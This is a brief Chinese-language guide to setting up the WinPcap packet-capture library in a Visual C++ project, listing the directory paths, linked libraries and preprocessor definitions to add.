- 下载并安装WinPcap,安装之后在目录”C:/WINDOWS/system32“下WinPcap添加了Packet.dll、wpcap.dll。
- 增加WinPcap的include和lib路径:
Tools→Options→Directories,其中include文件的路径增加WinPcap的include路径(其中有pcap.h等头文件),library文件的路径增加WinPcap的lib路径(其中有Packet.lib和wpcap.lib)。 - 增加项目的静态链接库:
Project→Settings→Link→Object/library Modules,在文本框的末尾添加”wpcap.lib packet.lib ws2_32.lib“。 - 增加预编译信息:
Project→Settings→C/C++→Preprocessor definitions,在文本框的末尾添加”WPCAP,HAVE_REMOTE“。
